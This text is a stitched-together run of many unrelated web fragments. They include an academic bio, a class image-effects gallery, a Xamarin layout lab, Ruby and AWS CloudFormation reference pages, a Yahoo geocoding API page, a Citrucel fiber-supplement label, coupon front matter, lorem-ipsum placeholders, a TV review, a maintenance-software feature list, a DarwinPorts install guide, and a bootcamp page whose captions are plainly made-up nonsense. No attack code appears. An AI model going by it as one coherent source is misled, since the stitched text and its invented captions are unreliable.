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Jack is pretty hot!!
Really though
Really hot...
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--- layout: archive ---
I am a Computational Social Scientist and my work explores the social and ethical implications of race, culture, identity, and power at the intersection of AI, mixed-reality and ubiquitous computing. I am particularly interested in fairness, accountability, transparency, & ethics (F.A.T.E.) in AI. Holistically, I am working to understand how complexities of design techniques, automated systems, and digital media impact, oppress, and engage society.
I am co-advised by UW HCDE Professors Julie Kientz, PhD and Daniela Rosner, PhD.
My research is supported by the National Science Foundation Graduate Research Fellowship Program (NSF GRFP). Through which, I am empowered to continue my pursuit of knowledge and research in human-centered AI, tackling coded bias, and deconstructing systems of oppression.
Involvement: HCDE Diversity Committee, HCDE Graduate Student Association


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Dalton CS2 2017-18 Photoshopper Gallery
Basic Effects
Section B effects
Section D effects
Section E effects
Basic Effects
CS2 Winter 2017/18: Image gallery of CS2 Photoshopper image effects.
Cityscape examples
Copy
Grayscale
Inverted
Brighten
Left Symmetry
Right Symmetry
Sepia
Color Shifted
Black and White
Shrink
Concatenate
Profile picture examples
Copy
Grayscale
Inverted
Brighten
Left Symmetry
Right Symmetry
Sepia
Color Shifted
Black and White
Shrink
Concatenate
Section B Effects
Cityscape examples
Square array by Alex Min
Swirl by Alex Min
Blur by Alex Min
Freaky by Dylan Hale
Warhol by Jake Ehrenkranz
Dotpic by Jake Ehrenkranz
Untitled by Justin Taub
Untitled by Justin Taub
Rainbow by Kai Hanson
Rainbow-Inverted by Kai Hanson
Purple by Kai Hanson
Purple-Inverted by Kai Hanson
Shifted2 by Kai Hanson
Warhol by Lucy Kronenberg
Shift2 by Manon Astier
White and Black by Manon Astier
Warhol by Manon Astier
Profile picture examples
Square array by Alex Min
Warhol by Lucy Kronenberg
Warhol by Jake Ehrenkranz
Warhol by Manon Astier
Swirl by Alex Min
Blur by Alex Min
Freaky by Dylan Hale
Dotpic by Jake Ehrenkranz
Untitled by Justin Taub
Untitled by Justin Taub
Rainbow by Kai Hanson
Rainbow-Inv. by K. Hanson
Purple by Kai Hanson
Purple-Inv. by K. Hanson
Yellow by Kai Hanson
Yellow-Inv. by K. Hanson
Shifted2 by Kai Hanson
Shift2 by Manon Astier
White & Black by M. Astier
Section D Effects
Cityscape examples
Untitled by Alex Sesh
Warhol by Jake Durando
Blur by Justin Benjamin
Green tint by Leyla Kramansky
Merry Christmas by Leyla Kramansky
Custom color shift by Rebecca Edelman
Custom gray (shown at 25%) by Rebecca Edelman
Profile picture examples
Untitled by Alex Sesh
Warhol by Jake Durando
Blur by Justin Benjamin
Green tint by L. Kramansky
Merry Xmas by L. Kramansky
Custom shift by R. Edelman
Custom (50%) gray by R. Edelman
Section E Effects
Cityscape examples
Untitled by Ari Eaton
Untitled by Dagny Patton
RedGreenBlue Scale by Jacob Edelman
Untitled by Jeremy Yarden
Contrasted by Jesse Gallant
Exploded by Jesse Gallant
Puzzle by Jesse Gallant
Custom rotated by Jesse Gallant
Swirled by Jesse Gallant
Unswirled by Jesse Gallant
Triangulated by Jesse Gallant
Random Rotate by Kathryn Wang
Blended by Kathryn Wang
Rainbow by Lauren Franco
Blur by Max Popick
Custom bright (shown at 80%) by Max Popick
Rotated counter-clockwise by Max Popick
Rotated clockwise by Max Popick
Custom color shift (shown at 100 degrees) by Max Popick
X-Flipped by Max Popick
Y-Flipped by Max Popick
Crop by M. Popick
Difference (shown for original versus Y-flipped) by Max Popick
Untitled by Oliver Schlesinger
Photo Booth by Theo Strauss
Seurat by William Ricci
Profile picture examples
Untitled by Dagny Patton
Untitled by Jeremy Yarden
Untitled by Deen Hussain
Random Rotate by Kathryn Wang
Andy Warhol by Kathryn Wang
Untitled by Ari Eaton
RedGreenBlue Scale by Jacob Edelman
Seurat by William Ricci
Contrasted by Jesse Gallant
Exploded by Jesse Gallant
Puzzle by Jesse Gallant
Swirled by Jesse Gallant
Unswirled by J. Gallant
Custom rotate by J. Gallant
Triangulated by J. Gallant
Blended by Kathryn Wang
Blur by Max Popick
40% Bright by M. Popick
Rotated ccw by M. Popick
Rotated cw by Max Popick
Custom shift by M. Popick
X-Flipped by Max Popick
Y-Flipped by Max Popick
Crop by M. Popick
Difference by Max Popick
Untitled by Oliver Schlesinger
Emotion Detection by W. Barkoff
Emotion Detection by W. Barkoff
Face & Emotion Detection by William Barkoff
Face & Emotion Detection by W. Barkoff
Photo Booth by T. Strauss
Rainbow by Lauren Franco


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Exercise 2: Use StackLayout to build a UI
The goal of this lab is to use nested StackLayout
s to arrange the views in a UI.
The first screenshot below shows the Starter project and the second shows the Completed project. Your job is to use StackLayout
s and LayoutOptions
to turn the starter project into the completed version. There is no single "correct" answer here. Use your judgment to produce a UI that looks good to you.
The images shown above may be sufficient to allow you to complete the lab. If you would like addition guidance, please use the steps on the next pages.
To complete the exercise, you will need Visual Studio for Windows or macOS with the Xamarin development tools installed. You will also need either an emulator/simulator or a device to run the exercise on. Please see the setup page if you need help installing the Xamarin development environment.
Explore the starter code
The starter solution contains a fully functional TipCalculator app. Your goal in this first part is to explore how the app works.
- Open the Exercise 2 > Start solution from your copy of the cloned or downloaded course materials in either Visual Studio for Windows or Visual Studio for Mac.
- Run the app on a platform of your choice.
- Enter a number into the
Entry
control - the app should then look similar to the image shown below:
- Work with the app for a minute or two to get a feel for its behavior.
- Stop the app.
- Open MainPage.xaml.
- Notice that all the views are placed into one vertical
StackLayout
. - If you would like to, feel free to open MainPage.xaml.cs and look at the code; however, you will not need to modify the code-behind during the exercise.
Detailed instructions
This section gives step-by-step guidance to layout the TipCalculator UI as it was pictured in the Completed screenshot. Attempt to create the UI yourself before following these steps. If you have already finished the exercise based on the high-level goals given earlier, you can either review these instructions or skip to the next section.
Please run the app as needed to test your work as you go through these steps.
- Add
Padding
to the page to avoid overlap of the UI and the iOS status bar. TheTop
value for thePadding
should be at least20
. The code shown below will yield a uniformPadding
of40
units:
<ContentPage ... Padding="40">
- Use a horizontal
StackLayout
to group theLabel
that says "Bill" with theEntry
field as shown below:
<StackLayout Orientation="Horizontal">
<Label Text="Bill" ... />
<Entry ... />
</StackLayout>
- Use a horizontal
StackLayout
to group theLabel
that says "Tip" with theLabel
namedtipOutput
. - Set a
Margin
on theStackLayout
you just added. The top should be 20 units while the left, right, and bottom values should be 0 (see below).
<StackLayout Orientation="Horizontal" Margin="0,20,0,0">
...
</StackLayout>
- Use a horizontal
StackLayout
to group theLabel
that says "Total" with theLabel
namedtotalOutput
. - Use a horizontal
StackLayout
to group theLabel
that says "Tip Percentage" with theLabel
namedtipPercent
. - Set a
VerticalOptions
value ofEndAndExpand
on theStackLayout
you just added (see below).
<StackLayout Orientation="Horizontal" VerticalOptions="EndAndExpand">
...
</StackLayout>
- Use a horizontal
StackLayout
to group theButton
with text of "15%" and the Button with text "20%". - Use a horizontal
StackLayout
to group theButton
with text of "Round Down" and theButton
with text "Round Up". - Set a
HorizontalOptions
value ofCenterAndExpand
on all four of theButtons
(see below).
<Button HorizontalOptions="CenterAndExpand" ...>
Exercise summary
In this exercise, you used nested StackLayout
s to improve the aesthetics of an existing UI. StackLayout
is the simplest layout panel, yet it is powerful enough to produce a reasonable UI.
You can view the completed solution in the Exercise 2 > Completed folder of your copy of the cloned or downloaded course materials.


Class: Qo::PatternMatchers::PatternMatch
- Inherits:
-
Object
- Object
- Qo::PatternMatchers::PatternMatch
- Includes:
- Branching
- Defined in:
- lib/qo/pattern_matchers/pattern_match.rb
Overview
Classic Pattern Match. This matcher uses when
and else
branches and
is meant to be a more powerful variant of the case statement
Direct Known Subclasses
Class Method Summary collapse
-
.create(branches: []) ⇒ Class
Allows for the creation of an anonymous PatternMatcher based on this parent class.
-
.mixin(destructure: false, as: :match) ⇒ Module
Allows for the injection of a pattern matching function into a type class for direct access, rather than yielding an instance of that class to a pattern matcher.
Instance Method Summary collapse
-
#call(value) ⇒ Any?
(also: #===, #[])
Calls the pattern matcher, yielding the target value to the first matching branch it encounters.
-
#initialize(destructure: false) {|_self| ... } ⇒ Qo::PatternMatchers::PatternMatch
constructor
Creates a new instance of a pattern matcher.
-
#to_proc ⇒ Proc[Any] => Any
Procified version of
call
.
Methods included from Branching
Constructor Details
#initialize(destructure: false) {|_self| ... } ⇒ Qo::PatternMatchers::PatternMatch
Creates a new instance of a pattern matcher
25 26 27 28 29 30 31 |
# File 'lib/qo/pattern_matchers/pattern_match.rb', line 25 def initialize(destructure: false, &fn) @matchers = [] @default = nil @destructure = destructure yield(self) if block_given? end |
Class Method Details
.create(branches: []) ⇒ Class
Allows for the creation of an anonymous PatternMatcher based on this parent class. To be used by people wishing to make their own pattern matchers with variant branches and other features not included in the defaultly provided ones
44 45 46 47 48 |
# File 'lib/qo/pattern_matchers/pattern_match.rb', line 44 def self.create(branches: []) Class.new(Qo::PatternMatchers::PatternMatch) do branches.each { |branch| register_branch(branch.new) } end end |
.mixin(destructure: false, as: :match) ⇒ Module
Allows for the injection of a pattern matching function into a type class for direct access, rather than yielding an instance of that class to a pattern matcher.
This is typically done for monadic types that need to match
. When
combined with extractor type branches it can be very handy for dealing
with container types.
124 125 126 127 128 129 130 131 132 |
# File 'lib/qo/pattern_matchers/pattern_match.rb', line 124 def self.mixin(destructure: false, as: :match) create_self = -> &function { new(destructure: destructure, &function) } Module.new do define_method(as) do |&function| create_self.call(&function).call(self) end end end |
Instance Method Details
#call(value) ⇒ Any? Also known as: ===, []
Calls the pattern matcher, yielding the target value to the first matching branch it encounters.
145 146 147 148 149 150 151 152 153 154 155 156 157 |
# File 'lib/qo/pattern_matchers/pattern_match.rb', line 145 def call(value) @matchers.each do |matcher| status, return_value = matcher.call(value) return return_value if status end if @default _, return_value = @default.call(value) return_value else nil end end |
#to_proc ⇒ Proc[Any] => Any
Procified version of call
165 166 167 |
# File 'lib/qo/pattern_matchers/pattern_match.rb', line 165 def to_proc -> target { self.call(target) } end |


{% from 'components.njk' import badge with context %} {{ badge(series) }} {{ title | safe }} {{ content | safe }}


Starting with an image and an estimate of the central position, pixel scale and scene rotation, XEphem can automatically compute an accurate World Coordinate System solution. This allows accurate RA/Dec to be computed for all locations throughout the image.


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~
- a -
AutoCriticalSection() :
Syntax::Utility::AutoCriticalSection
- b -
BinaryWriter() :
Syntax::Utility::BinaryWriter
- c -
CompressingMode() :
Syntax::Utility::BinaryWriter
CriticalSection() :
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Enter() :
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GetTotalTime() :
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- o -
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~BinaryWriter() :
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gulp_place("app._BUILD_.example_el= toELID(app._BUILD_.example_el_id++)", "eval"); gulp_place("app._BUILD_.example_onkeyup= toKeyUp(app._BUILD_.example_el)", "eval");
The real benefit of $dom.component
is to creating reusable components. It can be created by function scope, for expose internal
API use .share
namespace.


AWS::EKS::Cluster
The AWS::EKS::Cluster
resource creates an Amazon EKS cluster control plane. The
Amazon EKS cluster control plane consists of control plane instances that run the
Kubernetes
software, like etcd
and the Kubernetes API server. The control plane runs in an
account managed by AWS, and the Kubernetes API is exposed via the Amazon EKS endpoint
associated with
your cluster. For more information, see Clusters in the
Amazon EKS User Guide.
Syntax
To declare this entity in your AWS CloudFormation template, use the following syntax:
JSON
{ "Type" : "AWS::EKS::Cluster", "Properties" : { "Name" :
String
, "ResourcesVpcConfig" :EKS Cluster ResourcesVpcConfig
, "RoleArn" :String
, "Version" :String
} }
YAML
Type: "AWS::EKS::Cluster" Properties: Name:
String
ResourcesVpcConfig:EKS Cluster ResourcesVpcConfig
RoleArn:String
Version:String
Properties
Name
-
The name of the cluster.
Required: No
Type: String
Update requires: Replacement
ResourcesVpcConfig
-
The VPC subnets and security groups used by the cluster control plane. Amazon EKS VPC resources have specific requirements to work properly with Kubernetes. For more information, see Cluster VPC Considerations and Cluster Security Group Considerations in the Amazon EKS User Guide.
Required: Yes
Type: EKS Cluster ResourcesVpcConfig
Update requires: Replacement
RoleArn
-
The Amazon Resource Name (ARN) of the IAM role that provides permissions for the Kubernetes control plane to make calls to AWS API operations on your behalf.
Required: Yes
Type: String
Update requires: Replacement
Version
-
The Kubernetes server version for the cluster.
Required: No
Type: String
Update requires: Replacement
Return Values
Ref
When you pass the logical ID of an AWS::EKS::Cluster
resource to the
intrinsic Ref
function, the function returns the name of the cluster, such as
EKSCluster-NT5EUXTNTXXD
.
For more information about using the
Ref
function, see
Ref.
Fn::GetAtt
Fn::GetAtt
returns a value for a specified attribute of this type.
The following are the available attributes and sample return values.
Arn
-
The ARN of the cluster, such as
arn:aws:eks:us-west-2:666666666666:cluster/prod
. CertificateAuthorityData
-
The
certificate-authority-data
for your cluster. Endpoint
-
The endpoint for your Kubernetes API server, such as
https://5E1D0CEXAMPLEA591B746AFC5AB30262.yl4.us-west-2.eks.amazonaws.com
For more information about using
Fn::GetAtt
, see
Fn::GetAtt.
Examples
Create a Cluster
The following example creates an Amazon EKS cluster called prod
.
JSON
{ "Type": "AWS::EKS::Cluster", "Properties": { "Name": "prod", "Version": "1.10", "RoleArn": "arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI", "ResourcesVpcConfig": { "SecurityGroupIds": [ "sg-6979fe18" ], "SubnetIds": [ "subnet-6782e71e", "subnet-e7e761ac" ] } } }
YAML
Type: "AWS::EKS::Cluster" Properties: Name: "prod" Version: "1.10" RoleArn: "arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI" ResourcesVpcConfig: SecurityGroupIds: ["sg-6979fe18"] SubnetIds: ["subnet-6782e71e", "subnet-e7e761ac"]
See Also
-
Clusters in the Amazon EKS User Guide.
-
CreateCluster in the Amazon EKS API Reference.


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Yahoo! Maps Web Services - Geocoding API
Yahoo__Maps_Web_Services_-_Geocoding_API
The Geocoding Web uk.ac.open.kmi.iserve.commons.model.Service allows you to find the specific latitude and longitude for an address. You can use this service to geocode your points in advance or forego it altogether with built-in geocoding in our AJAX and Flash APIs.
Request URL
http://local.yahooapis.com/MapsService/V1/geocode
Request parameters
See information on constructing REST queries
| Parameter | Value | Description |
|---|---|---|
| appid | string (required) | The application ID. See Application IDs for more information. |
| street | string | Street name. The number is optional. |
| city | string | City name. |
| state | string | The United States state. You can spell out the full state name or you can use the two-letter abbreviation. |
| zip | integer or <integer>-<integer> | The five-digit zip code, or the five-digit code plus four-digit extension. If this location contradicts the city and state specified, the zip code will be used for determining the location and the city and state will be ignored. |
| location | free text |
This free field lets users enter any of the following:
If location is specified, it will take priority over the individual fields in determining the location for the query. City, state and zip will be ignored. |
| output | string: xml (default), php | The format for the output. If php is requested, the results will be returned in Serialized PHP format. |
Sample Request Url:
Response fields
The schema document for this service response is located at http://local.yahooapis.com/MapsService/V1/GeocodeResponse.xsd
| Field | Description |
|---|---|
| ResultSet | Contains all of the query responses. |
| Result | Contains each individual response. More than one result may be
returned if the given address is ambiguous. Has attributes:
|
| Latitude | The latitude of the location. |
| Longitude | The longitude of the location. |
| Address | Street address of the result, if a specific location could be determined. |
| City | City in which the result is located. |
| State | State in which the result is located. |
| Zip | Zip code, if known. |
| Country | Country in which the result is located. |
Sample response
The following is a sample response for the geocode of the Yahoo! headquarters:
Errors
The Geocoding service returns the standard errors.
Rate Limit
The Geocoding service is limited to 5,000 queries per IP address per day. See information on rate limiting.
Terms of Use
Use of the Yahoo! Maps APIs is governed by the Yahoo! Maps APIs Terms of Use and the Yahoo! Maps Terms of Use. These Terms of Use supplant the general Yahoo! Developer Network Terms of Use. See also the Usage Policy for more information about acceptable usage of these APIs or to request additional queries.
Support & Community
All Yahoo! Maps Web Services are discussed on the yws-maps mailing list.


CITRUCEL- methylcellulose (4000 mpa.s) powder, for solution
GlaxoSmithKline Consumer Healthcare LP
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
(in each heaping tablespoon)
Methylcellulose (a non-allergenic fiber) 2g
(in each rounded tablespoon)
Methylcellulose (a non-allergenic fiber) 2g
Choking: taking this product without adequate fluid may cause it to swell and block your throat or esophagus and may cause choking. Do not take this product if you have difficulty in swallowing. If you experience chest pain, vomiting, or difficulty in swallowing or breathing after taking this product, seek immediate medical attention.
CITRUCEL® Orange
Age |
Dose |
adults & children 12 years of age and over |
start with 1 heaping tablespoon. Increase as needed, 1 heaping tablespoon at a time, up to 3 times per day. |
children 6 - 11 years of age |
start with 2.5 level teaspoons. Increase as needed, 2.5 level teaspoons at a time, up to 3 times per day. |
children under 6 years of age |
consult a physician |
CITRUCEL® Sugar Free
Age |
Dose |
adults & children 12 years of age and over |
start with 1 rounded tablespoon. Increase as needed, 1 rounded tablespoon at a time, up to 3 times per day. |
children 6 - 11 years of age |
start with 2 level teaspoons. Increase as needed, 2 level teaspoons at a time, up to 3 times per day. |
children under 6 years of age |
consult a physician |
citric acid, dibasic calcium phosphate, FD&C yellow #6 lake, maltodextrin, orange flavors (natural and artificial), potassium citrate, riboflavin, sucrose, titanium dioxide, tricalcium phosphate
aspartame, dibasic calcium phosphate, FD&C yellow #6 lake, malic acid, maltodextrin, orange flavors (natural and artificial), potassium citrate, riboflavin
call toll-free 1-800-897-6081 (English/Spanish) weekdays
Citrucel® is a registered trademark of the Sanofi group of companies and licensed by the GlaxoSmithKline group of companies.
For more information on Citrucel®, visit citrucel.com.
Distributed by:
GlaxoSmithKline Consumer Healthcare, L.P.
Moon Township, PA 15108
CITRUCEL® Orange
DIRECTIONS FOR USE (NO SCOOP** DOSING):
1. Fill glass with at least 8 oz. of cold water.
2. Measure heaping tablespoon of product (one dose) and stir product into water. Stir briskly and drink promptly.
**We are as concerned about the environment as you are so we have removed the scoop from our Citrucel powder products. Doing so helps save energy, reduce the amount of plastic produced and improve environmental footprints.
CITRUCEL® Sugar Free
DIRECTIONS FOR USE (NO SCOOP** DOSING):
1. Fill glass with at least 8 oz. of cold water.
2. Measure rounded tablespoon of product (one dose) and stir product into water. Stir briskly and drink promptly.
**We are as concerned about the environment as you are so we have removed the scoop from our Citrucel powder products. Doing so helps save energy, reduce the amount of plastic produced and improve environmental footprints.
NDC 0135-0089-69
CITRUCEL®
METHYLCELLULOSE FIBER THERAPY FOR REGULARITY
Great Taste
orange FLAVOR
NET WT 16 OZ (454 GRAMS)
Great-Tasting
CITRUCEL® Orange
Citrucel's unique because it is:
*Based on laboratory testing. Individual results may vary.
5E643 SB F4
©2012 GlaxoSmithKline
62063XF
NDC 0135-0090-74
CITRUCEL®
METHYLCELLULOSE FIBER THERAPY FOR REGULARITY
Great Taste
sugar free ORANGE FLAVOR
NET WT 32 OZ (907 GRAMS)
Great-Tasting Orange Flavor
CITRUCEL® Sugar Free
Citrucel's unique because it is:
*Based on laboratory testing. Individual results may vary.
5M245 SB F4
©2012 GlaxoSmithKline
62056XG
|
CITRUCEL
methylcellulose powder, for solution | ||||||||||||||||||||||
| ||||||||||||||||||||||
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CITRUCEL
methylcellulose powder, for solution | |||||||||||||||||||||||||
| |||||||||||||||||||||||||
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|
| Labeler - GlaxoSmithKline Consumer Healthcare LP (828924212) |


--- layout: post permalink: checkoutstorecom.html Tags: Array NameOfCoupon: CheckOutStore.com Cash Back Summary: See our CheckOutStore.com Coupon Code, CheckOutStore.com Rebate, CheckOutStore.com Promo Code, CheckOutStore.com Discount, CheckOutStore.com Coupon Cash Back Rebate here. MetaKeywords: CheckOutStore.com Coupon Code, CheckOutStore.com Rebate, CheckOutStore.com Promo Code, CheckOutStore.com Cash Back Rebate, CheckOutStore.com Discount, CheckOutStore.com Coupon Image: images/16541.gif LinkURL: http://www.shareasale.com/r.cfm?b=116128&u=412002&m=16541 affiliate_url_link: http://www.icouponblog.com/jane.php?id=993 thesis_readmore: See the CheckOutStore.com Coupon thesis_thumb: http://www.icouponblog.com/tn.php?merchantURL=checkoutstore.com Title: Save 2% - CheckOutStore.com Coupon Code for checkoutstore.com. CheckOutStore.com Rebate & Discount thesis_description: Our CheckOutStore.com Discount Coupon Code for checkoutstore.com. We have the best CheckOutStore.com Rebate anywhere. thesis_keywords: CheckOutStore.com, CheckOutStore.com Coupon Code, CheckOutStore.com Discount, CheckOutStore.com Rebate product_name: CheckOutStore.com hop_url: http://www.icouponblog.com/hop.php?id=993 ---
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Pomodoro Clock
A timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesAnd a long lorem ipsum description? We can trim it in js and add ... at the end Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam,
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View ExamplesA timer with 25 minute work intervals 5 minute breaks and one long 15 minute break every 4 sessions. With the option to set custom times.
500 View Examples


http://www.speakers-podium.com/susangranger.
Susan Granger's review of "MARRIAGE IN THE 20th CENTURY: IN SEARCH OF THE HAPPY ENDING" on SHOWTIME TV
Six top Hollywood filmmakers take an entertaining and provocative look at the issues of the millennium in a new SHOWTIME series titled "In the 20th Century." Using archival material, interviews with experts, and newly-shot footage, these feature-length documentaries will air on a monthly basis, beginning Monday, June 14, at 10 P.M. with "Marriage in the 20th Century," hosted by director Garry Marshall, who has been married to the same woman for 36 years. In addition to his own family experience, he has often explored the topic in his work - from "The Lucy Show" and "Happy Days" to "Pretty Woman" and the upcoming "Runaway Bride." His favorite characters are often looking for love and hoping for a fairytale ending that comes with a marriage proposal and a ring. Using the set of "Runaway Bride" as a starting point, he embarks on a journey which reveals how marriage has changed throughout the century. Whether it's a civil ceremony presided over by a justice of the peace or a more colorful visit to a drive-up wedding chapel in Las Vegas, where the bride is given away by an Elvis impersonator, he reveals that the ways in which couples marry are as varied as the reasons they decide to take the leap. Marshall candidly delves into inter-racial and homosexual marriage, plus the once-taboo issue of divorce. I felt that this heartfelt homage to marriage was at least a half-hour too long, as Marshall repeatedly emphasizes that, despite the pitfalls, people will inevitably continue the search for a happy ending. If you miss Monday night's segment, it will be repeated on June 30 at 12:15 A.M.. Future episodes include Barry Levinson on "The Future," Robert Townsend on "Sex," Norman Jewison on "Comedy," Gregory Nava on "The American Dream," and Robert Zemeckis on "Smoking, Drinking, and Drugging." They all should be worth watching.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


---
layout: default
title: "Features | Fiix"
---
With the Fiix dashboard, we sort through all the data
for
you, giving you instant access to the information you need to improve performance. Whether
it’s
understanding your overdue work orders, low stock items, work requests, or even your
mean-time-to-repair, we’ve got you covered.
CMMS features designed for organizing, scheduling, and collaborating.
Built for your maintenance projects, your workflows, your goals, your team.
Fully customizable, interactive dashboard
Easily import your existing assets and maintenance data from CSV or Excel to seamlessly migrate from other maintenance and asset management software systems.
Easily create, assign, and manage unlimited work orders from your mobile device, tablet, or desktop computer. See who’s working on what, and get notifications when the work is complete.
View, assign, and balance technicians’ assignments and priorities with the drag and drop calendar. The calendar gives you a full overview of what maintenance is done by who, when, and what its status is.
Create preventive and scheduled maintenance work orders and automatically generate those work orders based on date, time, event, alarms, or meter readings.
Get better control over inventory. Track parts and supplies, optimize inventory levels, or manage inventory at multiple locations through a single, integrated maintenance and asset management system.
The new Fiix mobile CMMS software app lets you be truly mobile with your maintenance operations. New features like offline mode and easier work order management put everything you need at your fingertips—wherever work takes you. Download today and see for yourself what it’s like to work without limitations.
Guests can make service or work requests for maintenance, get notifications, and notify any named user of a work order status, all without logging in to the CMMS.
Use your CMMS to track parts from request and purchase, to receipt and use. Start building user-defined purchasing workflows that match your company’s processes. Or, easily create purchase requests, check inventory levels, or purchase parts directly with our built-in parts and supplies sourcing tool.
Forget the coin toss and start making insightful decisions today. Our solution puts powerful data at your fingertips with over 100 pre-built professional reports. Schedule regular reports and automatically email them to managers, use the dashboard to see KPIs, or create your own customizable reports from over 50 editable templates with our custom report builder.
With our advanced multi-site capabilities you can manage any number of sites anywhere in the world in any time zone or currency. Assign site-specific permissions to your personnel and attach them to the administrator group in one site or the technician group in another. All sites get rolled-up and displayed in real time so you can create detailed reports of all your maintenance activities with just a few clicks.
Nest your preventive maintenance schedules inside each other to stack PM tasks on meter, time or event-triggered scheduled maintenance work orders.
Keep track of all the moving parts. Manage rotating assets and rebuilds as they move between people, work orders, sites, and your external contractors’ and suppliers’ shops.
Transform your CMMS to match your workflows. Customize the appearance of work order forms with drag and drop functionality, add custom fields, rename or translate field labels, build custom drop down field options, or turn features on or off to make your CMMS as easy or as sophisticated as needed. Have another custom feature in mind? Learn more about how we can build custom features in weeks.


| < Day Day Up > |
Hack 88 Easily Install Unix Applications on Mac OS X
Many Mac users often seem a little surprised when I tell them I run XChat and other Unix applications on Mac OS X alongside native Aqua applications (such as Safari, Finder, and iPhoto). What they don't realize is that it's simple to install such applications thanks to the Fink and DarwinPorts projects. This hack is dedicated to installing and using DarwinPorts. This hack assumes you have a basic understanding of Terminal.app and the underlying Unix bits of Mac OS X. You also need to have the Developer Tools installed. 8.13.1 Installing DarwinPortsBefore you can use DarwinPorts, you must install the build system and the actual ports tree. The easiest way to accomplish this is by using CVS. Before checking the project out of CVS, you'll need to decide where you'd like it to exist on your hard drive. I usually use ~/work. Open Terminal.app (or an xterm if you have X11 installed), and change to the directory where you'll install DarwinPorts. Then type the following commands at the prompt (when the server asks for a password, just press Return): % alias dcvs cvs -d \ :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od % dcvs login % dcvs co -P darwinports You should now see a bunch of output scrolling past in the terminal window. If you do, good; the project is checking out of CVS and onto your hard disk. If you don't, double-check the three commands just shown to make sure you typed everything correctly. Once you've fetched the project, it's time to install it. Run ls in the terminal window; you should see a darwinports directory. cd to it and rerun ls: % cd darwinports % ls CVS Makefile README README.fr base doc dports www At this point, it's a very good idea to read the README file. The next step is to build and install the applications that will allow you to install various ports. From the darwinports directory: % sudo -s <enter your password> # make && make install && make clean By default, DarwinPorts uses /opt/local as its prefix. To change that to something else, edit /etc/ports/ports.conf. Next, open /etc/ports/sources.conf and change the file:// line to point to the proper location on your system. For example: file:///Users/jim/work/darwports/dports Now that everything is configured, add the directory containing DarwinPorts binaries to your shell's path. If you're using tcsh (the default shell on Mac OS X 10.2 and earlier), add the following to your ~/.cshrc file: set path = ($path /opt/local/bin) If you're using bash, as Mac OS X 10.3 does, add the following line to your ~/.bashrc file: export PATH=$PATH:/opt/local/bin In order for your shell to recognize the new path, either start a new shell or source your configuration file: % source ~/.cshrc $ source ~/.bashrc 8.13.2 Finding Ports to InstallBefore you can install a port, you'll need to make sure it exists in the ports tree. This can be done in one of two ways. The first is using port search, which is very simple to use. For example, to look for xchat: % port search xchat irc/xchat 1.8.11 IRC client with gtk and text interfaces irc/xchat2 2.0.1 IRC client for gtk2 The alternative is to use the web-based interface found on the DarwinPorts web site. You can view by category and search from this interface, but because the PortIndex file it uses isn't always up-to-date, you may have better luck with the port command. 8.13.3 Installing PortsNow that we've found something to install, it's time to learn how to install it. If you've ever worked with the FreeBSD ports collection, this section should look very familiar to you. Sticking with XChat as our example, we have two options. We can install the xchat port, which uses GTK+ version 1, or the xchat2 port, which uses GTK+ Version 2. For the sake of example, we'll choose xchat2. There are also two ways to install the port. The first way is to change to the port's directory and run port install: % cd /path/to/darwinports/dports/irc/xchat2 % sudo -s <enter your password> # port install && port clean The second method can be run from anywhere on the filesystem: % sudo -s <enter your password> # port install xchat2 && port clean xchat2 As long as you have your path set properly and the port you're trying to install is in the PortIndex, installation should proceed normally. 8.13.4 Updating the Ports TreeSince the ports developers frequently add new ports and update existing ports, you'll want to keep your ports tree up-to-date. Doing so is fairly simple: % cd /path/to/darwinports % cvs -q up -Pd If you notice changes to the base directory, you'll want to rebuild the DarwinPorts base system as well. This is done using the same commands used to install it initially: % cd /path/to/darwinports % sudo -s <enter your password> # make && make install && make clean As you'd expect, the port command has other options, such as uninstall, fetch, extract, and build, to name a few. Check the port manpage for a full explanation of each option and more information. At the time of writing, there are over 750 ports in the DarwinPorts tree and that number is growing daily. If your favorite application isn't already available in the ports tree, you can either create a port of it or join the DarwinPorts mailing list and request that someone else create a port of it. 8.13.5 See Also
|
| < Day Day Up > |


Past Events
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AIME Problems Difficulty:
AMC8 Problems Difficulty:
AMC10 Problems Difficulty:
AMC12 Problems Difficulty:
Due to copyright issues AMCPRAT and AMCPRAT-Simple are shutting down. They will be closed in 3 weeks after this message: Sunday, October 3, 2021 5:00 am UTC. More information can be found here.
Tests you want problems from:
AIME Problems Difficulty:
AMC8 Problems Difficulty:
AMC10 Problems Difficulty:
AMC12 Problems Difficulty:


Here goes some text describing the content of the page and stuff. Well, this is an awesome site of pictures (taken from google) for the bootcamp.
This picture is about three flowers which died in 1923 while their where hunting tigers in thailand.
A snail family who were moving town because of a natural disaster which destroyed their home.
This is a famous novelist tiger who wrote many suspense and thrillers novels in the early 30. He died in a car accident in 1937.
Bruce lee and Ip-man practicing mix martial arts in the ocean. The picture was taken by Jackie Chan.
